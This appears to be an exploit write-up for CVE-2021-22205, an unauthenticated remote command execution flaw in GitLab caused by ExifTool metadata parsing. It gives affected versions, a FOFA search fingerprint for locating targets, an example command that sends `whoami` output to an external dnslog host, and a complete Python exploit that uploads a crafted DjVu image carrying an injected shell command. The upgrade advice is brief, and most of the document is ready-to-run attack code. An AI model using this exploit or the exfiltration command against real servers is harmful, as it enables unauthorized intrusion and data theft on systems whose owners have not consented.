0x01 Vulnerability Introduction & Principle
GitLab is an open source project for warehouse management system developed by GitLab Inc., and a Git project management platform developed by Ruby. Because the image processing tool ExifTool is used in GitLab after 11.9, and this image processing tool is affected by the vulnerability CVE-2021-22204:
The vulnerability triggers the ExifTool function. ExifTool is an open source tool used to remove metadata from images. When parsing the metadata in uploaded images, some metadata is not fully parsed, causing attackers to upload files with malicious metadata. image, resulting in remote command execution.
An attacker can upload a maliciously constructed picture through an unauthorized interface, which will cause the vulnerability to perform RCE without authentication
0x02 affects the version
Gitlab CE/EE < 13.10.3
Gitlab CE/EE < 13.9.6
Gitlab CE/EE < 13.8.8
0x03 vulnerability detection
home page
http://127.0.0.1/users/sign_in
FOFA指纹:title="GitLab"
Paste the EXP code at the end and run it directly
python3 CVE-2021-22205.py -u http://12.0.0.1:8080 -c "curl \`whoami\`.7kwtfs.dnslog.cn"
I use DNSlog detection, and the pure intranet environment can also bounce back to my own http service test
0x04 Repair suggestion
- upgrade to latest version
- Official link:
https://about.gitlab.com/update/
EXP code
import sys
import requests
import argparse
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
def title():
print('''
GitLab < 13.10.3 RCE
python3 CVE-2021-22205.py -u target_url -c command
''')
def exp(target_url,command):
session = requests.Session()
try:
req_token = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
soup = BeautifulSoup(req_token.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+ command +"} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
"X-CSRF-Token": f"{
token}", "Accept-Encoding": "gzip, deflate"}
flag = 'Failed to process image'
req_exp = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
if flag in req_exp.text:
print("{} 存在漏洞,CMD执行成功".format(target_url))
else:
print("{} 不存在漏洞".format(target_url))
except Exception as e:
print(e)
def format_url(url):
try:
if url[:4] != "http":
url = "https://" + url
url = url.strip()
return url
except Exception as e:
print('URL.error{0}'.format(url))
def run():
title()
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', type=str, help='url')
parser.add_argument('-c', '--command', type=str, help='cmd')
args = parser.parse_args()
target_url = args.url
command = args.command
if target_url != None and command != None:
exp(target_url,command)
else:
sys.exit(0)
if __name__ == '__main__':
run()